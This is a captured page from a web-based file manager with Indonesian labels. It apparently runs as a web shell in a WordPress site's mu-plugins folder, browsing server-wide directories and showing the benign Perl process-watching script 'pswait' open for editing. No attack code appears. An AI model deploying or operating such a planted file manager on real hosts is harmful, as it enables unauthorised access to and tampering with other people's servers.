📂 Advanced File Manager
Multi-Root Navigation System
⚡ Quick Jump
Server (/)
Home (/home)
Var_www (/var/www)
Current (/home4/shelley/public_html/shelleycutler.com/wp-content/mu-plugins)
📍 Go
⬆ Ke Atas
🏠 Root Server
🏠 Root App
🔄 Refresh
📀 /
›
usr
›
share
›
doc
›
📁 perl-Proc-ProcessTable
📍
Lokasi:
/usr/share/doc/perl-Proc-ProcessTable
💾
Free:
45.4 GB
⚠️ Direktori ini
tidak writable
.
✏️ Mengedit: pswait
#!/usr/bin/perl use strict; use Proc::ProcessTable; exit if ( $#ARGV == -1 ); $|++; my $ptable = Proc::ProcessTable->new; my %waited = (); my %proc; $proc{ $_->pid }=$_->fname foreach (@{$ptable->table}); use Getopt::Long; use Pod::Usage; GetOptions( 'e|exit+' => \( my $endfirst = 0 ), 'v|verbose+' => \( my $verbose = 0 ), 'h|help+' => \( my $help = 0 ), 's|sleep=i' => \( my $sleeptime = 1 ) ); pod2usage(-verbose => 1) && exit if $help; foreach (@ARGV) { next if ( $_ == $$ ); # DON'T wait for myself ! if (/\d+/) { if ( exists $proc{$_} ) { $waited{$_}++; } else { print "nothing like $_\n" if $verbose } next; } foreach my $p ( keys %proc ) { next if ( $p == $$ ); # DON'T wait for myself I said ! $waited{$p}++ if ( $proc{$p} =~ /$_/ ); } } if ($verbose) { print "I am process $$\n"; print "waiting after $_ \n" for ( keys %waited ); print "sleep time set to $sleeptime s\n"; print "will exit on first terminated process\n" if ( $endfirst ); } my $count = scalar keys(%waited); while ( scalar keys(%waited) ) { sleep $sleeptime; %proc = (); $proc{ $_->pid }++ foreach (@{$ptable->table}); foreach my $p ( keys %waited ) { if ( !exists $proc{$p} ) { print "gone $p\n" if $verbose; delete $waited{$p}; } } last if (( scalar keys(%waited) < $count ) && ($endfirst)); } __END__ =head1 PSWAIT pswait - waiting for process(es) to end before doing things =head1 SYNOPSIS pswait [options] [process ID|NAME ...] =head1 USAGE pswait [options] [process ID|NAME ...] Options: -h --help brief help message -v --verbose be verbose -e --exit exit after first process end -s x --sleep x set sleep time to x second (default to 1) =head1 OPTIONS =over 8 =item B<-e, --exit> When giving a list of process to watch, exit when the first process end, it is usefull to easily manage a pool of proces with a shell script. =item B<-h. --help> Print a brief help message and exits. =item B<-s x, --sleep x> set sleep time to x seconds between process checking, default to 1 second. On small machines (or overloaded machines) it could help to check process state only once every minutes instead, using for example -s 60 =item B<-v, --verbose> Inform you on what happening ... which process ends, which process ID are watched for state (usefull when using process names on command line). =back =head1 DESCRIPTION B<pswait> will read the process table of the system and wait for some process to end =head1 AUTHOR DominiX <dominix@despammed.com> =cut
💾 Simpan Perubahan
❌ Batal
📤 Upload
📁 Buat Folder
Nama
Ukuran
Dimodifikasi
Permission
Aksi
📎
Changes
15.7 KB
2021-09-26 23:03
0644
✏️ Edit
⬇
✍️
🗑️
📎
pswait
2.7 KB
2018-02-12 20:51
0644
✏️ Edit
⬇
✍️
🗑️
📎
README
4.7 KB
2019-02-07 22:32
0644
✏️ Edit
⬇
✍️
🗑️
📎
README.linux
1.8 KB
2012-10-21 14:15
0644
✏️ Edit
⬇
✍️
🗑️
✍️ Rename:
Nama Baru:
Batal
💾 Simpan